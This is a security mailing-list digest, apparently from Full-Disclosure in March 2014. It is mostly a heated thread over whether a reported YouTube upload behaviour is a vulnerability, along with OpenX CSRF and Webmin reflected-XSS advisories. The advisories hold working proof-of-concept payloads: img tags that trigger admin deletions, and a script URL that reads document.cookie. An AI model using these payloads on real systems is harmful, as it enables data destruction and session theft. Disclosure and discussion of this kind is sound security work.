 a crucial file, tricking other user's browser to execute the file as HTML
 from an interesting domain (XSS), popping a shell, triggering XXE when the
 file is processed as XML, anything. Then that is a vulnerability. So far -
 sorry, it is not, and you've been told it repeatedly.


 As for the uploaded files being persistent, there is evidence of that.
 For instance a remote admin could be tricked to execute some of
 the uploaded files (Social Engineering).


 Come on, seriously? Social Engineering can make him download this file
 from pastebin just as well. That's a real stretch.

 IMHO it is not a security issue. You're uploading a file to some kind of
 processing queue that does not validate a file type, but nevertheless only
 processes those files as video - there is NO reason to suspect otherwise,
 and I'd like to be proven wrong here. Proven as in PoC.




 ___
 Full-Disclosure - We believe in it.
 Charter: http://lists.grok.org.uk/full-disclosure-charter.html
 Hosted and sponsored by Secunia - http://secunia.com/




-- 
“There's a reason we separate military and the police: one fights the enemy
of the state, the other serves and protects the people. When the military
becomes both, then the enemies of the state tend to become the people.”
___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Re: [Full-disclosure] Google vulnerabilities with PoC

2014-03-15 Thread Mario Vilas
I believe Zalewski has explained very well why it isn't a vulnerability,
and you couldn't possibly be calling him hostile. :)


On Sat, Mar 15, 2014 at 11:20 AM, M Kirschbaum pr...@yahoo.co.uk wrote:

 I have been watching this thread for a while and I think some people are
 being hostile here.

 There is nothing to gain being on eithers side but for the sake of
 security. As a penetration tester, writer, and malware analyst with a long
 and rewarding career...it would be absurd to admit that this is not a
 vulnerability. If the content-type fields can be altered and the API
 accepts it that is undoubtedly a vulnerability, I believe that it shouldn't
 be there. It would be a shame to say that this is not a security problem.
 I have seen different responses on this thread but having seen the proof of
 concept images as well I just think that some of the people commenting here
 are just being hostile.

 It doesn't take much for somebody in the field, to see clearly that Google
 does not want to pay. And I bet any amount of money that the bug bounty
 program is a way for filing potential threats by name and bank details.

 Rgds,
 M. Kirschbaum


 ___
 Full-Disclosure - We believe in it.
 Charter: http://lists.grok.org.uk/full-disclosure-charter.html
 Hosted and sponsored by Secunia - http://secunia.com/




-- 
“There's a reason we separate military and the police: one fights the enemy
of the state, the other serves and protects the people. When the military
becomes both, then the enemies of the state tend to become the people.”
___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Re: [Full-disclosure] Google vulnerabilities with PoC

2014-03-15 Thread antisnatchor
On top of that, Google spent millions of dollars to buy Chrome exploits,
sandbox bypasses
and webapp bugs. So, if this was a REAL bug with some REAL security
impact, I don't think Google wouldn't have paid.

They have a REAL budget for that, they are not like Yahoo that sends you
a t-shirt.

The security industry has become a big business for many, with bug
bounties, no more free bugs (and hugs),
100 pages of low/info risk findings bumped to high risk to scare the
customer, and so on.

At least do not pretend money when there is no security bug,
and in general don't be a pretender if you don't have a clue.

Cheers
antisnatchor

Mario Vilas wrote:
 I believe Zalewski has explained very well why it isn't a vulnerability,
 and you couldn't possibly be calling him hostile. :)


 On Sat, Mar 15, 2014 at 11:20 AM, M Kirschbaum pr...@yahoo.co.uk wrote:

 I have been watching this thread for a while and I think some people are
 being hostile here.

 There is nothing to gain being on eithers side but for the sake of
 security. As a penetration tester, writer, and malware analyst with a long
 and rewarding career...it would be absurd to admit that this is not a
 vulnerability. If the content-type fields can be altered and the API
 accepts it that is undoubtedly a vulnerability, I believe that it shouldn't
 be there. It would be a shame to say that this is not a security problem.
 I have seen different responses on this thread but having seen the proof of
 concept images as well I just think that some of the people commenting here
 are just being hostile.

 It doesn't take much for somebody in the field, to see clearly that Google
 does not want to pay. And I bet any amount of money that the bug bounty
 program is a way for filing potential threats by name and bank details.

 Rgds,
 M. Kirschbaum


 ___
 Full-Disclosure - We believe in it.
 Charter: http://lists.grok.org.uk/full-disclosure-charter.html
 Hosted and sponsored by Secunia - http://secunia.com/




 ___
 Full-Disclosure - We believe in it.
 Charter: http://lists.grok.org.uk/full-disclosure-charter.html
 Hosted and sponsored by Secunia - http://secunia.com/

-- 
Cheers
Michele

___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

[Full-disclosure] [CVE-2013-5954] Multiple Cross Site Request Forgery Vulnerabilities in OpenX 2.8.11

2014-03-15 Thread Mahmoud Ghorbanzadeh


Hello,

Multiple
cross-site request forgery (CSRF) vulnerabilities in  OpenX 2.8.11and earlier 
allows remote attackers to hijack the authentication of
administrators for requests that delete (1) users, (2) advertisers, (3) banners,
(4) campaigns, (5) channels, (6) websites or (7) zones via delete actions.

File: admin/agency-user-unlink.php
POC: 

img src='http://site/admin/agency-user-unlink.php?agencyid=1userid=18' 
width=1 height=1 border=0

File: admin/advertiser-delete.php
POC:
img src='http://site/admin/advertiser-delete.php?clientid=10' width=1 
height=1 border=0

File: admin/banner-delete.php
POC:
img
src='http://site/admin/banner-delete.php?clientid=2campaignid=7bannerid=16'
width=1 height=1 border=0

File: admin/campaign-delete.php
POC:
img src='http://site/admin/campaign-delete.php?clientid=2campaignid=11' 
width=1 height=1 border=0

File: admin/channel-delete.php  
POC:
img
src='http://site/admin/channel-delete.php?affiliateid=1channelid=6'
width=1 height=1 border=0

 
File: admin/affiliate-delete.php
POC:
img
src='http://site/admin/affiliate-delete.php?affiliateid=9' width=1 height=1
border=0

 
File: admin/zone-delete.php
POC:
img
src='http://site/admin/zone-delete.php?affiliateid=1zoneid=11'
width=1 height=1 border=0

Best regards.

OpenX CSRF Vulnerabilities Report.docx
Description: application/vnd.openxmlformats-officedocument.wordprocessingml.document
___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Re: [Full-disclosure] Fwd: Google vulnerabilities with PoC

2014-03-15 Thread Alfred Beese
Some of the replies in this thread are very unfair to the original poster.I have read the news story and have thoroughly read the proof of concepts which in my opinion indicate that this is surely a security vulnerability. I have worked for Lumension as a security consultant for more than a decade. I have never thought that Google would have gone that far. Quite scary if you ask me... Do notbe discouraged, as a security researcher I have also been getting that. I can certainly certify that this is a security problem, no doubts about that.Big AlGet your free email @http://www.xtcmail.com

___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Re: [Full-disclosure] Google vulnerabilities with PoC

2014-03-15 Thread M Kirschbaum
Dear Mario,
 
There is nothing to gain being on either side. I have already read the thread 
replies by M. Zalewski. I believe Google is false and does not honor the 
security community.
 Rgds,

M. Kirschbaum 
 
 
 
 
 



On Saturday, 15 March 2014, 11:11, Mario Vilas mvi...@gmail.com wrote:
  
I believe Zalewski has explained very well why it isn't a vulnerability, and 
you couldn't possibly be calling him hostile. :) 



On Sat, Mar 15, 2014 at 11:20 AM, M Kirschbaum pr...@yahoo.co.uk wrote:

I have been watching this thread for a while and I think some people are being 
hostile here. 
  
There is nothing to gain being on eithers side but for the sake of security. 
As a penetration tester, writer, and malware analyst with a long and rewarding 
career...it would be absurd to admit that this is not a vulnerability. If the 
content-type fields can be altered and the API accepts it that is undoubtedly 
a vulnerability, I believe that it shouldn't be there. It would be a shame to 
say that this is not a security problem. I have seen different responses on 
this thread but having seen the proof of concept images as well I just think 
that some of the people commenting here are just being hostile. 
  
It doesn't take much for somebody in the field, to see clearly that Google 
does not want to pay. And I bet any amount of money that the bug bounty 
program is a way for filing potential threats by name and bank details. 
 
Rgds,
M. Kirschbaum  
 
___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/



-- 
“There's a reason we separate military and the police: one fights the enemy of 
the state, the other serves and protects the people. When the military becomes 
both, then the enemies of the state tend to become the people.”___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

[Full-disclosure] Reflected XSS Attacks XSS vulnerabilities in Webmin 1.670 (CVE-2014-0339)

2014-03-15 Thread William Costa
I. VULNERABILITY

-

Reflected XSS Attacks XSS vulnerabilities in Webmin 1.670

II. BACKGROUND

-

Webmin is a web-based interface for system administration for Unix.
Using any modern web browser, you can setup user accounts, Apache,
DNS, file sharing and much more. Webmin removes the need to manually
edit Unix configuration files like /etc/passwd, and lets you manage a
system from the console or remotely. See the standard modules page for
a list of all the functions built into Webmin, or check out the
screenshots.




III. DESCRIPTION

-

Has been detected a Reflected XSS vulnerability in Webmin 1.670 in
page of log, that allows the execution of arbitrary HTML/script code
to be executed in the context of the victim user's browser.
The code injection is done through the parameter search in page
https://IP:1/webminlog/view.cgi?id=1search=



IV. PROOF OF CONCEPT

-

https://192.168.49.132:1/webminlog/view.cgi?id=1search=e;scriptalert(document.cookie);/script



V. BUSINESS IMPACT

-

An attacker can execute arbitrary HTML or script code in a targeted

user's browser, this can leverage to steal sensitive information as
user credentials, personal data, etc.





VI. SYSTEMS AFFECTED

-



Webmin version 1.670 install in Debian





VII. SOLUTION

-

All data received by the application and can be modified by the user,

before making any kind of transaction with them must be validated.

VIII. References
-
http://www.kb.cert.org/vuls/id/381692
http://www.webmin.com/changes.html
___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Re: [Full-disclosure] Google vulnerabilities with PoC

2014-03-15 Thread Gynvael Coldwind
Hey,

I think the discussion digressed a little from the topic. Let's try to
steer it back on it.

What would make this a security vulnerability is one of the three standard
outcomes:

- information leak - i.e. leaking sensitive information that you normally
do not have access to
- remote code execution - in this case it would be:
-- XSS - i.e. executing attacker provided JS/etc code in another user's
browser, in the context *of a sensitive, non-sandboxed* domain (e.g.
youtube.com)
-- server-side code execution - i.e. executing attacker provided code on
the youtube servers
- denial of service - I think we all agree this bug doesn't increase the
chance of a DoS; since you upload files that fail to be processed (so the
CPU-consuming re-encoding is never run) I would argue that this decreases
the chance of DoS if anything

Which leaves us with the aforementioned RCE.

I think we all agree that if Mr. Lemonias presents a PoC that uses the
functionality he discovered to, either:
(A) display a standard XSS alert(document.domain) in a sensitive domain
(i.e. *.youtube.com or *.google.com, etc) for a different (test) user
OR
(B) execute code to fetch the standard /etc/passwd file from the youtube
server and send it to him,
then we will be convinced that this is vulnerability and will be satisfied
by the presented proof.

I think that further discussion without this proof is not leading anywhere.


One more note - in the discussion I noticed some arguments were tried to be
justified or backed by saying I am this this and that, and have this many
years of experience, e.g. (the first one I could find):

have worked for Lumension as a security consultant for more than a decade.

Please note, that neither experience, nor job title, proves exploitability
of a *potential* bug. Working exploits do.


That's it from me. I'm looking forward to seeing the RCE exploits (be it
client or server side).

Kind regards,
Gynvael Coldwind
___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Re: [Full-disclosure] Google vulnerabilities with PoC

2014-03-15 Thread Mario Vilas
Thank you. :)


On Sat, Mar 15, 2014 at 1:45 PM, Gynvael Coldwind gynv...@coldwind.plwrote:

 Hey,

 I think the discussion digressed a little from the topic. Let's try to
 steer it back on it.

 What would make this a security vulnerability is one of the three standard
 outcomes:

 - information leak - i.e. leaking sensitive information that you normally
 do not have access to
 - remote code execution - in this case it would be:
 -- XSS - i.e. executing attacker provided JS/etc code in another user's
 browser, in the context *of a sensitive, non-sandboxed* domain (e.g.
 youtube.com)
 -- server-side code execution - i.e. executing attacker provided code on
 the youtube servers
 - denial of service - I think we all agree this bug doesn't increase the
 chance of a DoS; since you upload files that fail to be processed (so the
 CPU-consuming re-encoding is never run) I would argue that this decreases
 the chance of DoS if anything

 Which leaves us with the aforementioned RCE.

 I think we all agree that if Mr. Lemonias presents a PoC that uses the
 functionality he discovered to, either:
 (A) display a standard XSS alert(document.domain) in a sensitive domain
 (i.e. *.youtube.com or *.google.com, etc) for a different (test) user
 OR
 (B) execute code to fetch the standard /etc/passwd file from the youtube
 server and send it to him,
 then we will be convinced that this is vulnerability and will be satisfied
 by the presented proof.

 I think that further discussion without this proof is not leading anywhere.


 One more note - in the discussion I noticed some arguments were tried to
 be justified or backed by saying I am this this and that, and have this
 many years of experience, e.g. (the first one I could find):

 have worked for Lumension as a security consultant for more than a
 decade.

 Please note, that neither experience, nor job title, proves exploitability
 of a *potential* bug. Working exploits do.


 That's it from me. I'm looking forward to seeing the RCE exploits (be it
 client or server side).

 Kind regards,
 Gynvael Coldwind




-- 
“There's a reason we separate military and the police: one fights the enemy
of the state, the other serves and protects the people. When the military
becomes both, then the enemies of the state tend to become the people.”
___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Re: [Full-disclosure] Google vulnerabilities with PoC

2014-03-15 Thread Mario Vilas
Sockpuppet much?


On Sat, Mar 15, 2014 at 2:35 PM, M Kirschbaum pr...@yahoo.co.uk wrote:

 Gynvael Coldwind,

 What Alfred has reiterated is that this is a security vulnerability
 irrelevantly of whether it qualifies for credit.

 It is an unusual one, but still a security vulnerability. Anyone who says
 otherwise is blind, has little or no experience in hands on security, or
 either has a different agenda.

 The obvious here is that Google dismissed it as a non-security issue which
 I find rather sad and somewhat ridiculous.

 Even if we asked Andrew Tanenbaum about ,I suspect his answers wouldn't be
 much different.

 Rgds,


   On Saturday, 15 March 2014, 12:45, Gynvael Coldwind gynv...@coldwind.pl
 wrote:
  Hey,

 I think the discussion digressed a little from the topic. Let's try to
 steer it back on it.

 What would make this a security vulnerability is one of the three standard
 outcomes:

 - information leak - i.e. leaking sensitive information that you normally
 do not have access to
 - remote code execution - in this case it would be:
 -- XSS - i.e. executing attacker provided JS/etc code in another user's
 browser, in the context *of a sensitive, non-sandboxed* domain (e.g.
 youtube.com)
 -- server-side code execution - i.e. executing attacker provided code on
 the youtube servers
 - denial of service - I think we all agree this bug doesn't increase the
 chance of a DoS; since you upload files that fail to be processed (so the
 CPU-consuming re-encoding is never run) I would argue that this decreases
 the chance of DoS if anything

 Which leaves us with the aforementioned RCE.

 I think we all agree that if Mr. Lemonias presents a PoC that uses the
 functionality he discovered to, either:
 (A) display a standard XSS alert(document.domain) in a sensitive domain
 (i.e. *.youtube.com or *.google.com, etc) for a different (test) user
 OR
 (B) execute code to fetch the standard /etc/passwd file from the youtube
 server and send it to him,
 then we will be convinced that this is vulnerability and will be satisfied
 by the presented proof.

 I think that further discussion without this proof is not leading anywhere.


 One more note - in the discussion I noticed some arguments were tried to
 be justified or backed by saying I am this this and that, and have this
 many years of experience, e.g. (the first one I could find):

 have worked for Lumension as a security consultant for more than a
 decade.

 Please note, that neither experience, nor job title, proves exploitability
 of a *potential* bug. Working exploits do.


 That's it from me. I'm looking forward to seeing the RCE exploits (be it
 client or server side).

 Kind regards,
 Gynvael Coldwind





-- 
“There's a reason we separate military and the police: one fights the enemy
of the state, the other serves and protects the people. When the military
becomes both, then the enemies of the state tend to become the people.”
___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Re: [Full-disclosure] [SPAM] [Bayesian][bayesTestMode] Re: Google vulnerabilities with PoC

2014-03-15 Thread Mario Vilas
You must be new.


On Sat, Mar 15, 2014 at 3:43 PM, Thomas Williams tho...@trwilliams.me.ukwrote:

 I signed onto this mailing list as an interested person in security - not
 to see everyone moan. We will all have differences in opinion and we should
 all respect that. This goes for everyone and I feel I speak for a lot of
 people here, everyone needs to grow up, and shut up.



 Email scanned and verified safe.

 On 15 Mar 2014, at 13:43, Mario Vilas mvi...@gmail.com wrote:

 Sockpuppet much?


 On Sat, Mar 15, 2014 at 2:35 PM, M Kirschbaum pr...@yahoo.co.uk wrote:

 Gynvael Coldwind,

 What Alfred has reiterated is that this is a security vulnerability
 irrelevantly of whether it qualifies for credit.

 It is an unusual one, but still a security vulnerability. Anyone who says
 otherwise is blind, has little or no experience in hands on security, or
 either has a different agenda.

 The obvious here is that Google dismissed it as a non-security issue
 which I find rather sad and somewhat ridiculous.

 Even if we asked Andrew Tanenbaum about ,I suspect his answers wouldn't
 be much different.

 Rgds,


   On Saturday, 15 March 2014, 12:45, Gynvael Coldwind 
 gynv...@coldwind.pl wrote:
  Hey,

 I think the discussion digressed a little from the topic. Let's try to
 steer it back on it.

 What would make this a security vulnerability is one of the three
 standard outcomes:

 - information leak - i.e. leaking sensitive information that you normally
 do not have access to
 - remote code execution - in this case it would be:
 -- XSS - i.e. executing attacker provided JS/etc code in another user's
 browser, in the context *of a sensitive, non-sandboxed* domain (e.g.
 youtube.com)
 -- server-side code execution - i.e. executing attacker provided code on
 the youtube servers
 - denial of service - I think we all agree this bug doesn't increase the
 chance of a DoS; since you upload files that fail to be processed (so the
 CPU-consuming re-encoding is never run) I would argue that this decreases
 the chance of DoS if anything

 Which leaves us with the aforementioned RCE.

 I think we all agree that if Mr. Lemonias presents a PoC that uses the
 functionality he discovered to, either:
 (A) display a standard XSS alert(document.domain) in a sensitive domain
 (i.e. *.youtube.com or *.google.com, etc) for a different (test) user
 OR
 (B) execute code to fetch the standard /etc/passwd file from the youtube
 server and send it to him,
 then we will be convinced that this is vulnerability and will be
 satisfied by the presented proof.

 I think that further discussion without this proof is not leading
 anywhere.


 One more note - in the discussion I noticed some arguments were tried to
 be justified or backed by saying I am this this and that, and have this
 many years of experience, e.g. (the first one I could find):

 have worked for Lumension as a security consultant for more than a
 decade.

 Please note, that neither experience, nor job title, proves
 exploitability of a *potential* bug. Working exploits do.


 That's it from me. I'm looking forward to seeing the RCE exploits (be it
 client or server side).

 Kind regards,
 Gynvael Coldwind





 --
 “There's a reason we separate military and the police: one fights
 the enemy of the state, the other serves and protects the people. When
 the military becomes both, then the enemies of the state tend to become the
 people.”
  ___
 Full-Disclosure - We believe in it.
 Charter: http://lists.grok.org.uk/full-disclosure-charter.html
 Hosted and sponsored by Secunia - http://secunia.com/





-- 
“There's a reason we separate military and the police: one fights the enemy
of the state, the other serves and protects the people. When the military
becomes both, then the enemies of the state tend to become the people.”
___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Re: [Full-disclosure] Fwd: Google vulnerabilities with PoC

2014-03-15 Thread Michal Zalewski
 As a professional penetration tester, [...]
 The JSON service responds to GET requests , and there is a good chance that
 the service is also vulnerable to JSON Hijacking attacks.

That's... not how XSSI works.

To have a script inclusion vulnerability, you need to have a vanilla
GET response that contains some user-specific secrets that are
returned to the caller based on HTTP cookies (or, less likely, other
ambient credentials). For example, a script response that discloses
the contents of your mailbox or the list of private contacts would be
of concern.

Further, the response must be in a format that can be not only loaded,
but also inspected by another site opened in your browser; most types
of JSONP fall into this category, but JSON generally does not,
essentially because of how the meaning of { is overloaded in JS
depending on where it appears in a block of code.

Last but not least, the final piece of the puzzle is that the response
must be served at a URL that can be guessed by third parties who don't
have access to your account.

/mz

___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/


Re: [Full-disclosure] Fwd: Google vulnerabilities with PoC

2014-03-15 Thread Michal Zalewski
 A hacker exploits a JSON (javascript) object that has information of interest 
 for example holding some values for cookies. A lot of times that exploits the 
 same policy origin. The JSON object returned from a server can be forged over 
 writing javascript function that create the object. This happens because of 
 the same origin policy problem in browsers that cannot say if js execution it 
 different for two different sites.

To be honest, I'm not sure I follow, but I'm fairly confident that my
original point stands. If you believe that well-formed JSON objects
without padding can be read across origins within the browser, I would
love to see more information about that. (In this particular case, it
still wouldn't matter because the response doesn't contain secrets,
but it would certainly break a good chunk of the Internet.) JSONP is a
different animal.

/mz

___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/


Re: [Full-disclosure] Fwd: Google vulnerabilities with PoC

2014-03-15 Thread Michal Zalewski
 Is this treated with the same way that says that Remote File Inclusion is not 
 a security issue ?

I'm not sure how RFI came into play on this thread - the original
report wasn't about RFI.

I don't have an agenda here; I'm just trying to get to the bottom of
it and make sure that we converge on a common understanding of the
issue. As in any argument, it's fairly likely that one of us is wrong,
and I accept that it could very well be me - I have been wrong quite a
few times in my life, and it's always a valuable learning opportunity.

I think it's unfortunate that the thread has devolved into various
accusations and credential-slinging, because it reduces the likelihood
of such a productive outcome. Please feel free to ping me directly any
time, though - I'm happy to chat.

Cheers,
/mz

___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/


Re: [Full-disclosure] Fwd: Google vulnerabilities with PoC

2014-03-15 Thread Michal Zalewski
 The thread read Google vulnerabilities with PoC. From my understanding  it 
 was a RFI vulnerability on YouTube, and I voiced my support that this is a 
 vulnerability.

I don't think this is accurate, at least based on the standard
definition of RFI: a server-side scripting language - usually PHP -
accidentally executing a script fetched from a remote server because
it passed an attacker-controlled string to an API that allows both
local file paths and remote URLs.

The report talks about a different behavior: the ability for users to
upload video and non-video content using legitimate functionality of
the site, without a way to make the server do anything interesting
with the received data. This may or may not be interesting on its own
merit, but I think it's pretty far from RFI.

 I also explained a JSON Hijacking case as a follow up, and you said you 
 didn't follow.

Yup, I am genuinely not familiar with the attack vector that *I think*
you are describing, or why it would matter in this context. My earlier
message in this thread explains my reasoning (in essence, there are
certain conditions that have to be met for a typical XSSI bug, and I
don't think they are met here), but if my understanding is wrong, I'd
really like to learn about the proposed attack.

/mz

___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/


Re: [Full-disclosure] Google vulnerabilities with PoC

2014-03-15 Thread Georgi Guninski
Is it possible with the help of Godwin's law
this discussion moves offlist?

-- 
guninski

On Thu, Mar 13, 2014 at 10:43:50AM +, Nicholas Lemonias. wrote:
 Google vulnerabilities uncovered...
 
 
 http://news.softpedia.com/news/Expert-Finds-File-Upload-Vulnerability-in-YouTube-Google-Denies-It-s-a-Security-Issue-431489.shtml

 ___
 Full-Disclosure - We believe in it.
 Charter: http://lists.grok.org.uk/full-disclosure-charter.html
 Hosted and sponsored by Secunia - http://secunia.com/

___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/


Re: [Full-disclosure] Google vulnerabilities with PoC

2014-03-15 Thread Gichuki John Chuksjonia
How the hell did you ever think Google will honor this? By now they
could be fixing this issue, they hell don't care about you.



On 3/15/14, Georgi Guninski gunin...@guninski.com wrote:
 Is it possible with the help of Godwin's law
 this discussion moves offlist?

 --
 guninski

 On Thu, Mar 13, 2014 at 10:43:50AM +, Nicholas Lemonias. wrote:
 Google vulnerabilities uncovered...


 http://news.softpedia.com/news/Expert-Finds-File-Upload-Vulnerability-in-YouTube-Google-Denies-It-s-a-Security-Issue-431489.shtml

 ___
 Full-Disclosure - We believe in it.
 Charter: http://lists.grok.org.uk/full-disclosure-charter.html
 Hosted and sponsored by Secunia - http://secunia.com/

 ___
 Full-Disclosure - We believe in it.
 Charter: http://lists.grok.org.uk/full-disclosure-charter.html
 Hosted and sponsored by Secunia - http://secunia.com/



-- 
-- 
Gichuki John Ndirangu, C.E.H , C.P.T.P, O.S.C.P
I.T Security Analyst and Penetration Tester
jgichuki at inbox d0t com

{FORUM}http://lists.my.co.ke/pipermail/security/
http://chuksjonia.blogspot.com/

___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/


Re: [Full-disclosure] [SPAM] [Bayesian][bayesTestMode] Re: Google vulnerabilities with PoC

2014-03-15 Thread Stefan Jon Silverman
Title: Message

  
  
Running ... out ... of ... popcorn --
  must .. resupply ...
  






  
Regards,
Stefan

**
Stefan
Jon Silverman - Founder / President
  SJS Associates,
N.A., Inc.
 A
Technology Strategy Consultancy
**
  Cell 917
  929 1668
   s...@sjsinc.com
eMail
  www.sjsinc.com 
**

Aim/Skype/GoogleIM: LazloInSF Twitter/Yahoo: sjs_sf
**

Weebles wobble but they don't fall
down 
**

  
  


  
  On 3/15/2014 9:33 AM, Mario Vilas wrote:


  You must be new.
  

On Sat, Mar 15, 2014 at 3:43 PM, Thomas
  Williams tho...@trwilliams.me.uk
  wrote:
  
I signed onto this mailing
  list as an interested person in security - not to see
  everyone moan. We will all have differences in opinion and
  we should all respect that. This goes for everyone and I
  feel I speak for a lot of people here, everyone needs to
  grow up, and shut up.
  

  

  

  

  


___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

[Full-disclosure] Webcast Reminder: Garage4Hackers Ranchoddas Series 2 on Reverse Engineering

2014-03-14 Thread Sandeep Kamble
 Webcast Reminder
 Data, data, data! I can't make bricks without clay
Thanks for registering for
Garage4hacker'shttp://garage4hackers.us3.list-manage.com/track/click?u=3bbddc138252bc94f75024ab7id=8f7c43f38fe=672cdb4173Ranchoddas
Series. Below are details for the online presentation.

*Speaker*: Gynvael
Coldwindhttp://garage4hackers.us3.list-manage1.com/track/click?u=3bbddc138252bc94f75024ab7id=5bb3a77cc1e=672cdb4173-
Google Security Engineer and Dragon Sector Team Captain.
*Date*: Monday, March 17,  2014
*Time* (Switzerland/EU aka UTC+01:00 aka CET aka GMT +1:00): 18:00
*Time* (IST aka GMT +5:30): 22:30
*Time *(other places):
http://www.timeanddate.com/worldclock/fixedtime.html?iso=20140317T1700http://garage4hackers.us3.list-manage2.com/track/click?u=3bbddc138252bc94f75024ab7id=ab9cf1656ae=672cdb4173
*Duration*: TBD, but something between 45-60 minutes + time for questions

*Audio  Video:*
The audio  Video for this presentation will be streamed to your computer
through Youtube Live Streaming. We will be sending out the video link via
e-mail, once we have it - probably just before the webcast; we'll also post
that link on G4H
http://garage4hackers.us3.list-manage1.com/track/click?u=3bbddc138252bc94f75024ab7id=6f9e82a25ce=672cdb4173
forum/facebookhttp://garage4hackers.us3.list-manage2.com/track/click?u=3bbddc138252bc94f75024ab7id=465691cae6e=672cdb4173
/twitter
http://garage4hackers.us3.list-manage2.com/track/click?u=3bbddc138252bc94f75024ab7id=fa9ccc7c9ee=672cdb4173+
probably around here. We suggest to use good internet connection to avoid
video lags and setup good audio device to hear voice without noise.

*If you have not used Youtube Live Stream before, then do not worry it is
similar as watching videos on the Youtube. If you require technical
assistance with webcast , please contact abhaytheh...@garage4hackers.com

Kind Regards,
Garage4Hackers
http://garage4hackers.comhttp://garage4hackers.us3.list-manage2.com/track/click?u=3bbddc138252bc94f75024ab7id=8e7037268ee=672cdb4173
https://www.facebook.com/pages/Garage4Hackers/138904662794635http://garage4hackers.us3.list-manage.com/track/click?u=3bbddc138252bc94f75024ab7id=9eb37a9871e=672cdb4173
https://twitter.com/garage4hackershttp://garage4hackers.us3.list-manage1.com/track/click?u=3bbddc138252bc94f75024ab7id=4f012b37cde=672cdb4173
*Copyright © 2014 Garage4Hackers, All rights reserved.*
You are receiving this email because you registered to Ranchoddas Series
Part 2 on RE
___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Re: [Full-disclosure] Google vulnerabilities with PoC

2014-03-14 Thread Jerome Athias
Hi

I concur that we are mainly discussing a terminology problem.

In the context of a Penetration Test or WAPT, this is a Finding.
Reporting this finding makes sense in this context.

As a professional, you would have to explain if/how this finding is a
Weakness*, a Violation (/Regulations, Compliance, Policies or
Requirements[1])
* I would say Weakness + Exposure = Vulnerability. Vulnerability +
Exploitability (PoC) = Confirmed Vulnerability that needs Business
Impact and Risk Analysis

So I would probably have reported this Finding as a Weakness (and not
Vulnerability. See: OWASP, WASC-TC, CWE), explaining that it is not
Best Practice (your OWASP link and Cheat Sheets), and even if
mitigative/compensative security controls (Ref Orange Book), security
controls like white listing (or at least black listing. see also
ESAPI) should be 1) part of the [1]security requirements of a proper
SDLC (Build security in) as per Defense-in-Depth security principles
and 2) used and implemented correctly.
NB: A simple Threat Model (i.e. list of CAPEC) would be a solid
support to your report
This would help to evaluate/measure the risk (e.g. CVSS).
Helping the decision/actions around this risk

PS: interestingly, in this case, I'm not sure that the Separation of
Duties security principle was applied correctly by Google in term of
Risk Acceptance (which could be another Finding)

So in few words, be careful with the terminology. (don't always say
vulnerability like the media say hacker, see RFC1392) Use a CWE ID
(e.g. CWE-434, CWE-183, CWE-184 vs. CWE-616)

My 2 bitcents
Sorry if it is not edible :)
Happy Hacking!

/JA
https://github.com/athiasjerome/XORCISM

2014-03-14 7:19 GMT+03:00 Michal Zalewski lcam...@coredump.cx:
 Nicholas,

 I remember my early years in the infosec community - and sadly, so do
 some of the more seasoned readers of this list :-) Back then, I
 thought that the only thing that mattered is the ability to find bugs.
 But after some 18 years in the industry, I now know that there's an
 even more important and elusive skill.

 That skill boils down to having a robust mental model of what
 constitutes a security flaw - and being able to explain your thinking
 to others in a precise and internally consistent manner that convinces
 others to act. We need this because the security of a system can't be
 usefully described using abstract terms: even the academic definitions
 ultimately boil down to saying the system is secure if it doesn't do
 the things we *really* don't want it to do.

 In this spirit, the term vulnerability is generally reserved for
 behaviors that meet all of the following criteria:

 1) The behavior must have negative consequences for at least one of
 the legitimate stakeholders (users, service owners, etc),

 2) The consequences must be widely seen as unexpected and unacceptable,

 3) There must be a realistic chance of such a negative outcome,

 4) The behavior must introduce substantial new risks that go beyond
 the previously accepted trade-offs.

 If we don't have that, we usually don't have a case, no matter how
 clever the bug is.

 Cheers (and happy hunting!),
 /mz

 ___
 Full-Disclosure - We believe in it.
